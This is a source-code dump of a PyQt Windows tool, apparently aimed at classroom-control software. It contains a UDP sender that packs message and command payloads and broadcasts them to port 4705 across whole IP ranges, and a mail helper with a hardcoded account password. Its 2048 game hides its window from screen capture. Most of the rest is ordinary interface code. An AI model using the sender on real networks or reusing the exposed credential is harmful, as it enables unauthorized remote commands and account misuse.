int(tmp, 16) > 0xff: 33 | tmp = tmp[2:] 34 | high = int((tmp[0] + tmp[1]), 16) 35 | low = int((tmp[2] + tmp[3]), 16) 36 | arr.append(low) 37 | arr.append(high) 38 | else: 39 | high = 0 40 | low = int((tmp[2] + tmp[3]), 16) 41 | arr.append(low) 42 | arr.append(high) 43 | return arr 44 | 45 | 46 | # 获取ip 47 | def get_ip(ip): 48 | target_host = [] 49 | if ip.find('.') == -1: 50 | logger('\nYou enter a error IP.') 51 | logger("Please enter the correct format of the IP again.") 52 | return 53 | if ip.find('-') != -1: 54 | ip_arr = ip.split('-') 55 | ip_arrs = ip_arr[0].split('.') 56 | if int(ip_arr[1]) > 254: 57 | ip_arr[1] = '254' 58 | for i in range(int(ip_arrs[3]), int(ip_arr[1])+1): 59 | ip_arrs[3] = str(i) 60 | target_host.append('.'.join(ip_arrs)) 61 | elif ip.find('/') == -1: 62 | target_host.append(ip) 63 | elif ip.find('/24') != -1: 64 | ip_arr = ip.split('/') 65 | ip_arrs = ip_arr[0].split('.') 66 | for i in range(1, 255): 67 | ip_arrs[3] = str(i) 68 | target_host.append('.'.join(ip_arrs)) 69 | else: 70 | logger('\nYou enter a error IP.') 71 | logger("Please enter the correct format of the IP again.") 72 | return 73 | return target_host 74 | 75 | 76 | # 将要发送的消息打包成完整的指令 77 | def pkg_sendlist(cmdtype, content): 78 | arrs = format_b4_send(content) 79 | result=[] 80 | if cmdtype == '-msg': 81 | index = 56 82 | result = basicCMD['-msg'] 83 | for elem in arrs: 84 | result[index] = elem 85 | index += 1 86 | elif cmdtype == '-c': 87 | index = 578 88 | result = basicCMD['-c'] 89 | for elem in arrs: 90 | result[index] = elem 91 | index += 1 92 | return result 93 | # 发送 94 | def send(send_list,ip,l=1,p=4705,t=22): 95 | if len(send_list) == 0: 96 | logger("[-] error 请使用 -h 以获取命令帮助") 97 | return 98 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 99 | target_host = get_ip(ip) 100 | for times in range(l): 101 | for i in target_host: 102 | for abc in send_list: 103 | payload = pack("%dB" % (len(abc)), *abc) 104 | client.sendto(payload, (i, p)) 105 | if l == 1: 106 | logger("发送成功") 107 | logger("第%s次执行完毕" % str(times + 1)) 108 | if times != l - 1: 109 | sleep(t) -------------------------------------------------------------------------------- /libs/feedback.py: -------------------------------------------------------------------------------- 1 | from PyQt5.QtCore import * 2 | from PyQt5.QtWidgets import * 3 | from PyQt5.QtGui import * 4 | from threading import * 5 | import sys,base64 6 | import datetime 7 | from . import mail,b64,Ui_feedback 8 | class Feedbacker(QWidget,Ui_feedback.Ui_feedbacker): 9 | ok=pyqtSignal() 10 | fail=pyqtSignal() 11 | def __init__(self,cll): 12 | super().__init__(cll) 13 | self.setupUi(self) 14 | self.retranslateUi(self) 15 | self.setup() 16 | def Ok(self): 17 | QMessageBox.information(self,"提示","发送成功啦!") 18 | self.close() 19 | def Fail(self): 20 | QMessageBox.warning(self,"QwQ","发送失败了...要不去交Issue吧(") 21 | self.pushButton_2.setText("发送反馈") 22 | self.pushButton_2.setEnabled(1) 23 | self.lineEdit.setEnabled(1) 24 | self.lineEdit_2.setEnabled(1) 25 | self.textEdit.setEnabled(1) 26 | def setup(self): 27 | self.ok.connect(self.Ok) 28 | self.fail.connect(self.Fail) 29 | self.setWindowFlag(Qt.Window) 30 | self.setWindowModality(0) 31 | self.setFixedSize(self.width(),self.height()) 32 | self.icon=QPixmap() 33 | self.icon.loadFromData(base64.b64decode(b64.icon)) 34 | self.setWindowIcon(QIcon(self.icon)) 35 | self.pushButton_2.clicked.connect(lambda:Thread(target=self.send).start()) 36 | self.textEdit.textChanged.connect(self.sete) 37 | def sete(self): 38 | if self.textEdit.toPlainText().replace(" ","")=="" and self.lineEdit.text().replace(" ","")=="": 39 | self.pushButton_2.setDisabled(True) 40 | else: 41 | self.pushButton_2.setEnabled(True) 42 | def send(self): 43 | self.pushButton_2.setText("发送中...") 44 | self.pushButton_2.setEnabled(0) 45 | self.lineEdit.setEnabled(0) 46 | self.lineEdit_2.setEnabled(0) 47 | self.textEdit.setEnabled(0) 48 | try: 49 | mail.mail(c=self.textEdit.toPlainText(),t=self.lineEdit.text(),f=self.lineEdit_2.text()) 50 | self.ok.emit() 51 | except: 52 | self.fail.emit() 53 | def start(message): 54 | global window 55 | window=Feedbacker() 56 | window.textEdit.setText("我在使用NoTopDomain时,遇到了如下这个bug:\n"+message+"\n希望修复!!!") 57 | window.show() 58 | if __name__=="__main__": 59 | app = QApplication(sys.argv) 60 | window=Feedbacker() 61 | window.show() 62 | sys.exit(app.exec_()) -------------------------------------------------------------------------------- /libs/feedback.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | feedbacker 4 | 5 | 6 | Qt::ApplicationModal 7 | 8 | 9 | 10 | 0 11 | 0 12 | 399 13 | 318 14 | 15 | 16 | 17 | 18 | Microsoft YaHei UI 19 | 20 | 21 | 22 | 反馈 23 | 24 | 25 | 26 | 27 | 28 | Qt::Vertical 29 | 30 | 31 | 32 | 20 33 | 40 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | false 42 | 43 | 44 | 发送反馈 45 | 46 | 47 | 48 | 49 | 50 | 51 | Qt::Horizontal 52 | 53 | 54 | 55 | 40 56 | 20 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 反馈内容: 67 | 68 | 69 | 70 | 71 | 72 | 73 | 作者建议你去github issue上提交呢...(必填) 74 | 75 | 76 | 77 | 78 | 79 | 80 | 反馈标题 81 | 82 | 83 | 84 | 85 | 86 | 87 | 必填 88 | 89 | 90 | 91 | 92 | 93 | 94 | 联系方式/昵称 95 | 96 | 97 | 98 | 99 | 100 | 101 | 选填 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | <html><head/><body><p>PS:发送时间可能较长 <a href="https://github.com/LYXOfficial/NoTopDomain/issues"><span style=" text-decoration: underline; color:#0000ff;">去Github提交Issue</span></a></p></body></html> 111 | 112 | 113 | true 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /libs/mail.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | from email.mime.text import MIMEText 3 | from email.header import Header 4 | from email.utils import formataddr 5 | import os 6 | def mail(c="test",t="test",f=""): 7 | mail_host = "smtp-mail.outlook.com" 8 | mail_user = "ariasakafeedbacksforprogram@hotmail.com" 9 | mail_pass = "misakaMikoto0502" 10 | mail_nick = "NoTopDomain Feedback System" 11 | sender = 'ariasakafeedbacksforprogram@hotmail.com' 12 | receivers = ['lyx2010official@outlook.com'] 13 | content = c 14 | if f: 15 | content+="\nFrom %s"%f 16 | title = t 17 | message = MIMEText(content, 'plain', 'utf-8') 18 | message['From'] = formataddr([mail_nick, mail_user]) 19 | message['To'] = ",".join(receivers) 20 | message['Subject'] = title 21 | try: 22 | smtpObj = smtplib.SMTP(mail_host, 587) 23 | smtpObj.starttls() 24 | smtpObj.login(mail_user, mail_pass) 25 | smtpObj.sendmail(sender, receivers, message.as_string()) 26 | print("mail has been send successfully.") 27 | except smtplib.SMTPException as e: 28 | print(e) 29 | if __name__=="__main__": 30 | mail() -------------------------------------------------------------------------------- /libs/moyu.py: -------------------------------------------------------------------------------- 1 | from PyQt5.QtCore import * 2 | from PyQt5.QtWidgets import * 3 | from PyQt5.QtGui import * 4 | from ctypes import * 5 | from win32gui import * 6 | from win32con import * 7 | from win32api import * 8 | from . import Ui_Moyu 9 | import qtawesome as qta 10 | # import Ui_Moyu 11 | import sys,random 12 | mp={-4:"O3",-2:"O2",0:"",2:"WA",4:"TLE",8:"MLE",16:"RE",32:"CE",64:"PC", 13 | 128:"UKE",256:"AC",512:"CSP",1024:"NOI",2048:"IOI",4096:"AK"} 14 | color={-4:"#fd86bd",-2:"green",0:"#CDC1B4",2:"#e74c3c",4:"#052242",8:"#1055a1",16:"#9d3dcf", 15 | 32:"#ffe200",64:"rgb(242,128,17)",128:"#114885",256:"#52C41A", 16 | 512:"#eed761",1024:"#8D2724",2048:"#66c8ff",4096:""} 17 | nscore=0 18 | for i in range(13,64): 19 | mp[2**i]=str(2**i) 20 | color[2**i]="black" 21 | def add_two(mat): 22 | a = random.randint(0, len(mat)-1) 23 | b = random.randint(0, len(mat)-1) 24 | f=0 25 | while mat[a][b] and f<=10: 26 | f+=1 27 | a = random.randint(0, len(mat)-1) 28 | b = random.randint(0, len(mat)-1) 29 | gl=random.randint(1,128) 30 | if gl<=2: 31 | if not mat[a][b]: mat[a][b] = -4 32 | elif gl<=8: 33 | if not mat[a][b]: mat[a][b] = -2 34 | if not mat[a][b]: mat[a][b] = random.choice([2,2,2,4]) 35 | return mat 36 | 37 | 38 | 39 | def game_state(mat): 40 | # check for win cell 41 | for i in range(len(mat)): 42 | for j in range(len(mat[0])): 43 | if mat[i][j] == 2048: 44 | return 'win' 45 | # check for any zero entries 46 | for i in range(len(mat)): 47 | for j in range(len(mat[0])): 48 | if mat[i][j] == 0: 49 | return 'not over' 50 | # check for same cells that touch each other 51 | for i in range(len(mat)-1): 52 | # intentionally reduced to check the row on the right and below 53 | # more elegant to use exceptions but most likely this will be their solution 54 | for j in range(len(mat[0])-1): 55 | if mat[i][j] == mat[i+1][j] or mat[i][j+1] == mat[i][j]: 56 | return 'not over' 57 | for k in range(len(mat)-1): # to check the left/right entries on the last row 58 | if mat[len(mat)-1][k] == mat[len(mat)-1][k+1]: 59 | return 'not over' 60 | for j in range(len(mat)-1): # check up/down entries on last column 61 | if mat[j][len(mat)-1] == mat[j+1][len(mat)-1]: 62 | return 'not over' 63 | return 'lose' 64 | 65 | 66 | 67 | def reverse(mat): 68 | new = [] 69 | for i in range(len(mat)): 70 | new.append([]) 71 | for j in range(len(mat[0])): 72 | new[i].append(mat[i][len(mat[0])-j-1]) 73 | return new 74 | 75 | 76 | 77 | def transpose(mat): 78 | new = [] 79 | for i in range(len(mat[0])): 80 | new.append([]) 81 | for j in range(len(mat)): 82 | new[i].append(mat[j][i]) 83 | return new 84 | 85 | 86 | 87 | def cover_up(mat): 88 | new = [] 89 | for j in range(4): 90 | partial_new = [] 91 | for i in range(4): 92 | partial_new.append(0) 93 | new.append(partial_new) 94 | done = False 95 | for i in range(4): 96 | count = 0 97 | for j in range(4): 98 | if mat[i][j] != 0: 99 | new[i][count] = mat[i][j] 100 | if j != count: 101 | done = True 102 | count += 1 103 | return new, done 104 | 105 | def merge(mat, done): 106 | global nscore 107 | for i in range(4): 108 | for j in range(4-1): 109 | if mat[i][j] == mat[i][j+1] and mat[i][j] > 0 and mat[i][j+1]>0: 110 | nscore+=mat[i][j]*2 111 | mat[i][j] *= 2 112 | mat[i][j+1] = 0 113 | done = True 114 | elif mat[i][j]<0 and mat[i][j+1]>0: 115 | nscore+=mat[i][j+1]*-mat[i][j] 116 | mat[i][j+1]*=-mat[i][j] 117 | mat[i][j]=0 118 | done=True 119 | elif mat[i][j+1]<0 and mat[i][j]>0: 120 | nscore+=mat[i][j]*-mat[i][j+1] 121 | mat[i][j]*=-mat[i][j+1] 122 | mat[i][j+1]=0 123 | done=True 124 | return mat, done 125 | 126 | def up(game): 127 | game = transpose(game) 128 | # game, done = cover_up(game) 129 | game, done = merge(game, 1) 130 | game = cover_up(game)[0] 131 | game = transpose(game) 132 | return game 133 | 134 | def down(game): 135 | # game = reverse(transpose(game)) 136 | # game, done = cover_up(game) 137 | game, done = merge(game, 1) 138 | game = cover_up(game)[0] 139 | game = transpose(reverse(game)) 140 | return game 141 | 142 | def left(game): 143 | # return matrix after shifting left 144 | # game, done = cover_up(game) 145 | game, done = merge(game, 1) 146 | game = cover_up(game)[0] 147 | return game 148 | 149 | def right(game): 150 | game = reverse(game) 151 | # game, done = cover_up(game) 152 | game, done = merge(game, 1) 153 | game = cover_up(game)[0] 154 | game = reverse(game) 155 | return game 156 | class Moyu(QWidget,Ui_Moyu.Ui_Moyu2048): 157 | def __init__(self): 158 | super().__init__() 159 | self.setupUi(self) 160 | self.retranslateUi(self) 161 | self.setup() 162 | def setup(self): 163 | self.startButton.setIconSize(QSize(36,36)) 164 | self.Reset.setIconSize(QSize(36,36)) 165 | self.Reset.setFixedSize(36,36) 166 | self.startButton.setFixedSize(36,36) 167 | self.Reset.setIcon(qta.icon("msc.debug-restart",color="white")) 168 | self.startButton.setIcon(qta.icon("msc.debug-start",color="white")) 169 | self.checkBox.hide() 170 | self.adjustSize() 171 | self.checkBox_2.hide() 172 | self.startButton.clicked.connect(self.switchGame) 173 | self.status=0 174 | self.startButton.setStyleSheet("background-color:transparent;") 175 | self.Reset.setStyleSheet("background-color:transparent;") 176 | nscore=0 177 | self.can=0 178 | try: 179 | self.hs=int(open("NTD2048HighScore","r+").read()) 180 | except: 181 | self.hs=0 182 | try: 183 | open("NTD2048HighScore","w+").close() 184 | SetFileAttributes("NTD2048HighScore",FILE_ATTRIBUTE_HIDDEN) 185 | except: pass 186 | self.lcdNumber.display(self.hs) 187 | self.tim=0 188 | if not self.checkBox_2.isChecked(): 189 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0x11) 190 | self.setFocusPolicy(Qt.ClickFocus) 191 | self.matrix=[[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]] 192 | self.update() 193 | self.startButton.setFocusPolicy(Qt.NoFocus) 194 | self.Reset.setFocusPolicy(Qt.NoFocus) 195 | self.checkBox.setFocusPolicy(Qt.NoFocus) 196 | self.flag=0 197 | self.timer=QTimer() 198 | self.timer.setInterval(1000) 199 | self.timer.timeout.connect(self.tt) 200 | self.checkBox_2.clicked.connect(self.setjp) 201 | self.checkBox.clicked.connect(self.setzd) 202 | SetWindowPos(self.winId(),HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE) 203 | self.Reset.setEnabled(0) 204 | self.Reset.clicked.connect(self.restart) 205 | self.init() 206 | def setjp(self): 207 | if not self.checkBox_2.isChecked(): 208 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0x11) 209 | else: 210 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0) 211 | def setzd(self): 212 | if self.checkBox.isChecked(): 213 | SetWindowPos(self.winId(),HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE) 214 | else: 215 | SetWindowPos(self.winId(),HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE) 216 | def tt(self): 217 | self.tim+=1 218 | self.time.setText("{:02.0f}:{:02.0f}:{:02.0f}" 219 | .format(self.tim//60//60,self.tim//60%60,self.tim%60)) 220 | def keyPressEvent(self,event): 221 | if self.status: 222 | if event.key()==Qt.Key_S or event.key()==Qt.Key_Down : 223 | self.matrix=down(self.matrix) 224 | self.matrix=add_two(self.matrix) 225 | self.update() 226 | elif event.key()==Qt.Key_W or event.key()==Qt.Key_Up : 227 | self.matrix=up(self.matrix) 228 | self.matrix=add_two(self.matrix) 229 | self.update() 230 | elif event.key()==Qt.Key_A or event.key()==Qt.Key_Left : 231 | self.matrix=left(self.matrix) 232 | self.matrix=add_two(self.matrix) 233 | self.update() 234 | elif event.key()==Qt.Key_D or event.key()==Qt.Key_Right: 235 | self.matrix=right(self.matrix) 236 | self.matrix=add_two(self.matrix) 237 | self.update() 238 | def showE(self): 239 | if self.isMinimized(): 240 | self.setWindowState(Qt.WindowNoState) 241 | if not self.checkBox_2.isChecked(): 242 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0) 243 | windll.user32.SetWindowDisplayAffinity(int(self.winId()),0x11) 244 | self.setGeometry(self.x(),self.y(),100,100) 245 | self.show() 246 | self.setzd() 247 | self.setFixedSize(self.width(),self.height()) 248 | def update(self): 249 | self.Score.display(nscore) 250 | self.lcdNumber.display(max(self.lcdNumber.value(),nscore)) 251 | self.hs=max(self.hs,nscore) 252 | try: open("NTD2048HighScore","w").write(str(self.hs)) 253 | except: pass 254 | for i in range(4): 255 | for j in range(4): 256 | eval("self.b%d_%d.setText(mp[self.matrix[%d][%d]])"%(i+1,j+1,i,j)) 257 | eval("self.b%d_%d.setStyleSheet('color:white;background:%s;border:none;border-radius:8px;font-size:24px;font-family:\"Microsoft YaHei\"')"%(i+1,j+1,color[self.matrix[i][j]])) 258 | akflag,fullflag=0,1 259 | for i in range(4): 260 | for j in range(4): 261 | if self.matrix[i][j]>=2048: 262 | akflag=1 263 | if not self.matrix[i][j]: 264 | fullflag=0 265 | if akflag and not self.can: 266 | QMessageBox.information(self,"提示","You AK IOI!RP:%d"%nscore) 267 | self.can=1 268 | if fullflag: 269 | fx,fy=[1,-1,0,0],[0,0,1,-1] 270 | for i in range(4): 271 | for j in range(4): 272 | for k in range(4): 273 | nx,ny=i+fx[k],j+fy[k] 274 | if nx>3 or nx<0 or ny>3 or ny<0: 275 | continue 276 | if self.matrix[i][j]==self.matrix[nx][ny]: 277 | return 278 | elif self.matrix[i][j]<0 and self.matrix[nx][ny]>0: 279 | return 280 | elif self.matrix[nx][ny]<0 and self.matrix[i][j]>0: 281 | return 282 | self.switchGame() 283 | self.flag=1 284 | QMessageBox.information(self,"提示","您AFO了!RP:%d"%nscore) 285 | def init(self): 286 | self.matrix=[[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]] 287 | self.matrix=add_two(self.matrix) 288 | self.matrix=add_two(self.matrix) 289 | 290 | self.update() 291 | def restart(self): 292 | global nscore 293 | self.timer.stop() 294 | self.tim=0 295 | nscore=0 296 | self.timer.start() 297 | self.matrix=[[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]] 298 | self.matrix=add_two(self.matrix) 299 | self.matrix=add_two(self.matrix) 300 | self.update() 301 | def switchGame(self): 302 | if self.flag: 303 | self.restart() 304 | self.flag=0 305 | if not self.status: 306 | self.Reset.setEnabled(1) 307 | self.startButton.setIcon(qta.icon("msc.debug-pause",color="white")) 308 | self.status=1 309 | self.timer.start() 310 | else: 311 | self.Reset.setEnabled(0) 312 | self.timer.stop() 313 | self.startButton.setIcon(qta.icon("msc.debug-start",color="white")) 314 | self.status=0 315 | if __name__=="__main__": 316 | app=QApplication(sys.argv) 317 | window=Moyu() 318 | window.showE() 319 | sys.exit(app.exec_()) -------------------------------------------------------------------------------- /libs/switchButton.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | from PyQt5.QtCore import QFile, Qt, QTimer, pyqtProperty, pyqtSignal 3 | from PyQt5.QtGui import QColor, QPainter 4 | from PyQt5.QtWidgets import QHBoxLayout, QLabel, QToolButton, QWidget 5 | BUTTONQSS="""QWidget{ 6 | background-color: transparent; 7 | } 8 | 9 | SwitchButton { 10 | qproperty-spacing: 15; 11 | } 12 | 13 | SwitchButton > QLabel { 14 | color: black; 15 | font-family: "微软雅黑"; 16 | font-size:14px; 17 | } 18 | 19 | 20 | Indicator { 21 | height: 12px; 22 | width: 35px; 23 | qproperty-sliderOnColor: white; 24 | qproperty-sliderOffColor: black; 25 | qproperty-sliderDisabledColor: rgb(155, 154, 153); 26 | border-radius: 11px; 27 | } 28 | 29 | 30 | Indicator:!checked { 31 | background-color: transparent; 32 | border: 1px solid rgb(102, 102, 102); 33 | } 34 | 35 | Indicator:!checked:hover { 36 | border: 1px solid rgb(51, 51, 51); 37 | background-color: transparent; 38 | } 39 | 40 | Indicator:!checked:pressed { 41 | border: 1px solid rgb(0, 0, 0); 42 | background-color: rgb(153, 153, 153); 43 | } 44 | 45 | Indicator:checked { 46 | border: 1px solid rgb(0, 153, 188); 47 | background-color: rgb(0, 153, 188); 48 | } 49 | 50 | Indicator:checked:hover { 51 | border: 1px solid rgb(72, 210, 242); 52 | background-color: rgb(72, 210, 242); 53 | } 54 | 55 | Indicator:checked:pressed { 56 | border: 1px solid rgb(0, 107, 131); 57 | background-color: rgb(0, 107, 131); 58 | } 59 | 60 | Indicator:disabled:!checked{ 61 | border: 1px solid rgb(194, 194, 191); 62 | background-color: rgb(230,230,230); 63 | } 64 | Indicator:disabled:checked{ 65 | border: 1px solid rgb(194, 194, 191); 66 | background-color: rgb(135, 172, 182); 67 | qproperty-sliderDisabledColor: rgb(221, 221, 221); 68 | }""" 69 | 70 | class Indicator(QToolButton): 71 | """ Indicator of switch button """ 72 | 73 | checkedChanged = pyqtSignal(bool) 74 | 75 | def __init__(self, parent): 76 | super().__init__(parent=parent) 77 | self.setCheckable(True) 78 | super().setChecked(False) 79 | self.resize(50, 26) 80 | self.__sliderOnColor = QColor(Qt.white) 81 | self.__sliderOffColor = QColor(Qt.black) 82 | self.__sliderDisabledColor = QColor(QColor(155, 154, 153)) 83 | self.timer = QTimer(self) 84 | self.padding = self.height()//4 85 | self.sliderX = self.padding 86 | self.sliderRadius = (self.height()-2*self.padding)//2 87 | self.sliderEndX = self.width()-2*self.sliderRadius 88 | self.sliderStep = self.width()/50 89 | self.timer.timeout.connect(self.__updateSliderPos) 90 | def __updateSliderPos(self): 91 | """ update slider position """ 92 | if self.isChecked(): 93 | if self.sliderX+self.sliderStep < self.sliderEndX: 94 | self.sliderX += self.sliderStep 95 | else: 96 | self.sliderX = self.sliderEndX 97 | self.timer.stop() 98 | else: 99 | if self.sliderX-self.sliderStep > self.sliderEndX: 100 | self.sliderX -= self.sliderStep 101 | else: 102 | self.sliderX = self.sliderEndX 103 | self.timer.stop() 104 | 105 | self.style().polish(self) 106 | def setChecked(self, isChecked: bool): 107 | """ set checked state """ 108 | if isChecked == self.isChecked(): 109 | return 110 | 111 | super().setChecked(isChecked) 112 | #-2*self.sliderRadius错误,已改正 113 | self.sliderEndX = self.width() - \ 114 | self.padding if self.isChecked() else self.padding 115 | self.timer.start(5) 116 | 117 | def mouseReleaseEvent(self, e): 118 | """ toggle checked state when mouse release""" 119 | super().mouseReleaseEvent(e) 120 | self.sliderEndX = self.width()-2*self.sliderRadius - \ 121 | self.padding if self.isChecked() else self.padding 122 | self.timer.start(5) 123 | self.checkedChanged.emit(self.isChecked()) 124 | 125 | def resizeEvent(self, e): 126 | self.padding = self.height()//4 127 | self.sliderRadius = (self.height()-2*self.padding)//2 128 | self.sliderStep = self.width()/50 129 | self.sliderEndX = self.width()-2*self.sliderRadius - \ 130 | self.padding if self.isChecked() else self.padding 131 | self.update() 132 | 133 | def paintEvent(self, e): 134 | """ paint indicator """ 135 | # the background and border are specified by qss 136 | super().paintEvent(e) 137 | 138 | painter = QPainter(self) 139 | painter.setRenderHints(QPainter.Antialiasing) 140 | painter.setPen(Qt.NoPen) 141 | if self.isEnabled(): 142 | color = self.sliderOnColor if self.isChecked() else self.sliderOffColor 143 | else: 144 | color = self.sliderDisabledColor 145 | painter.setBrush(color) 146 | painter.drawEllipse(self.sliderX, self.padding, 147 | self.sliderRadius*2, self.sliderRadius*2) 148 | 149 | def getSliderOnColor(self): 150 | return self.__sliderOnColor 151 | 152 | def setSliderOnColor(self, color: QColor): 153 | self.__sliderOnColor = color 154 | self.update() 155 | 156 | def getSliderOffColor(self): 157 | return self.__sliderOffColor 158 | 159 | def setSliderOffColor(self, color: QColor): 160 | self.__sliderOffColor = color 161 | self.update() 162 | 163 | def getSliderDisabledColor(self): 164 | return self.__sliderDisabledColor 165 | 166 | def setSliderDisabledColor(self, color: QColor): 167 | self.__sliderDisabledColor = color 168 | self.update() 169 | 170 | sliderOnColor = pyqtProperty(QColor, getSliderOnColor, setSliderOnColor) 171 | sliderOffColor = pyqtProperty(QColor, getSliderOffColor, setSliderOffColor) 172 | sliderDisabledColor = pyqtProperty( 173 | QColor, getSliderDisabledColor, setSliderDisabledColor) 174 | 175 | 176 | class SwitchButton(QWidget): 177 | """ Switch button class """ 178 | 179 | clicked = pyqtSignal(bool) 180 | 181 | def __init__(self,parent): 182 | super().__init__(parent=parent) 183 | self.text = "" 184 | self.__spacing = 15 185 | self.hBox = QHBoxLayout(self) 186 | self.indicator = Indicator(self) 187 | self.label = QLabel(self.text, self) 188 | self.__initWidget() 189 | 190 | def __initWidget(self): 191 | """ initialize widgets """ 192 | # set layout 193 | self.hBox.addWidget(self.indicator) 194 | self.hBox.addWidget(self.label) 195 | self.hBox.setSpacing(self.__spacing) 196 | self.hBox.setAlignment(Qt.AlignLeft) 197 | self.setAttribute(Qt.WA_StyledBackground) 198 | self.hBox.setContentsMargins(0, 0, 0, 0) 199 | self.setStyleSheet(BUTTONQSS) 200 | 201 | # connect signal to slot 202 | self.indicator.checkedChanged.connect(self.clicked) 203 | def isChecked(self): 204 | return self.indicator.isChecked() 205 | 206 | def setChecked(self, isChecked: bool): 207 | """ set checked state """ 208 | # self.adjustSize() 209 | self.indicator.setChecked(isChecked) 210 | 211 | def toggleChecked(self): 212 | """ toggle checked state """ 213 | self.indicator.setChecked(not self.indicator.isChecked()) 214 | 215 | def setText(self, text: str): 216 | self.text = text 217 | self.label.setText(text) 218 | self.adjustSize() 219 | 220 | def getSpacing(self): 221 | return self.__spacing 222 | 223 | def setSpacing(self, spacing: int): 224 | self.__spacing = spacing 225 | self.hBox.setSpacing(spacing) 226 | self.update() 227 | 228 | spacing = pyqtProperty(int, getSpacing, setSpacing) -------------------------------------------------------------------------------- /libs/system_hotkey/__init__.py: -------------------------------------------------------------------------------- 1 | from .system_hotkey import * -------------------------------------------------------------------------------- /libs/system_hotkey/util.py: -------------------------------------------------------------------------------- 1 | ''' 2 | system_hotkey.util 3 | 4 | general utilites.. 5 | ''' 6 | import _thread as thread 7 | from queue import Queue 8 | from functools import wraps 9 | 10 | 11 | def unique_int(values): 12 | ''' 13 | returns the first lowest integer 14 | that is not in the sequence passed in 15 | 16 | if a list looks like 3,6 17 | of the first call will return 1, and then 2 18 | and then 4 etc 19 | ''' 20 | last = 0 21 | for num in values: 22 | if last not in values: 23 | break 24 | else: 25 | last += 1 26 | return last 27 | 28 | 29 | class CallSerializer(): 30 | def __init__(self): 31 | self.queue = Queue() 32 | thread.start_new_thread(self.call_functions, (),) 33 | 34 | def call_functions(self): 35 | while 1: 36 | func, args, kwargs = self.queue.get(block=True) 37 | func(*args, **kwargs) 38 | 39 | def serialize_call(self, function): 40 | ''' 41 | a call to a function decorated will not have 42 | overlapping calls, i.e thread safe 43 | ''' 44 | @wraps(function) 45 | def decorator(*args, **kwargs): 46 | self.queue.put((function, args, kwargs)) 47 | return decorator 48 | -------------------------------------------------------------------------------- /libs/system_hotkey/xpybutil_keybind.py: -------------------------------------------------------------------------------- 1 | """ 2 | A set of functions devoted to binding key presses and registering 3 | callbacks. This will automatically hook into the event callbacks 4 | in event.py. 5 | 6 | The two functions of interest here are 'bind_global_key' and 'bind_key'. Most 7 | of the other functions facilitate the use of those two, but you may need them 8 | if you're getting down and dirty. 9 | """ 10 | from collections import defaultdict 11 | import sys 12 | 13 | #~ import xcb.xproto as xproto 14 | import xcffib.xproto as xproto 15 | 16 | from xpybutil import conn, root, event 17 | from xpybutil.keysymdef import keysyms, keysym_strings 18 | 19 | __kbmap = None 20 | __keysmods = None 21 | 22 | __keybinds = defaultdict(list) 23 | __keygrabs = defaultdict(int) # Key grab key -> number of grabs 24 | 25 | EM = xproto.EventMask 26 | GM = xproto.GrabMode 27 | TRIVIAL_MODS = [ 28 | 0, 29 | xproto.ModMask.Lock, 30 | xproto.ModMask._2, 31 | xproto.ModMask.Lock | xproto.ModMask._2 32 | ] 33 | 34 | def bind_global_key(event_type, key_string, cb): 35 | """ 36 | An alias for ``bind_key(event_type, ROOT_WINDOW, key_string, cb)``. 37 | 38 | :param event_type: Either 'KeyPress' or 'KeyRelease'. 39 | :type event_type: str 40 | :param key_string: A string of the form 'Mod1-Control-a'. 41 | Namely, a list of zero or more modifiers separated by 42 | '-', followed by a single non-modifier key. 43 | :type key_string: str 44 | :param cb: A first class function with no parameters. 45 | :type cb: function 46 | :return: True if the binding was successful, False otherwise. 47 | :rtype: bool 48 | """ 49 | return bind_key(event_type, root, key_string, cb) 50 | 51 | def bind_key(event_type, wid, key_string, cb): 52 | """ 53 | Binds a function ``cb`` to a particular key press ``key_string`` on a 54 | window ``wid``. Whether it's a key release or key press binding is 55 | determined by ``event_type``. 56 | 57 | ``bind_key`` will automatically hook into the ``event`` module's dispatcher, 58 | so that if you're using ``event.main()`` for your main loop, everything 59 | will be taken care of for you. 60 | 61 | :param event_type: Either 'KeyPress' or 'KeyRelease'. 62 | :type event_type: str 63 | :param wid: The window to bind the key grab to. 64 | :type wid: int 65 | :param key_string: A string of the form 'Mod1-Control-a'. 66 | Namely, a list of zero or more modifiers separated by 67 | '-', followed by a single non-modifier key. 68 | :type key_string: str 69 | :param cb: A first class function with no parameters. 70 | :type cb: function 71 | :return: True if the binding was successful, False otherwise. 72 | :rtype: bool 73 | """ 74 | assert event_type in ('KeyPress', 'KeyRelease') 75 | 76 | mods, kc = parse_keystring(key_string) 77 | key = (wid, mods, kc) 78 | 79 | if not kc: 80 | print('Could not find a keycode for %s' % key_string, file=sys.stderr) 81 | return False 82 | 83 | if not __keygrabs[key] and not grab_key(wid, mods, kc): 84 | return False 85 | 86 | __keybinds[key].append(cb) 87 | __keygrabs[key] += 1 88 | 89 | if not event.is_connected(event_type, wid, __run_keybind_callbacks): 90 | event.connect(event_type, wid, __run_keybind_callbacks) 91 | 92 | return True 93 | 94 | def parse_keystring(key_string): 95 | """ 96 | A utility function to turn strings like 'Mod1-Mod4-a' into a pair 97 | corresponding to its modifiers and keycode. 98 | 99 | :param key_string: String starting with zero or more modifiers followed 100 | by exactly one key press. 101 | 102 | Available modifiers: Control, Mod1, Mod2, Mod3, Mod4, 103 | Mod5, Shift, Lock 104 | :type key_string: str 105 | :return: Tuple of modifier mask and keycode 106 | :rtype: (mask, int) 107 | """ 108 | modifiers = 0 109 | keycode = None 110 | 111 | for part in key_string.split('-'): 112 | if hasattr(xproto.KeyButMask, part): 113 | 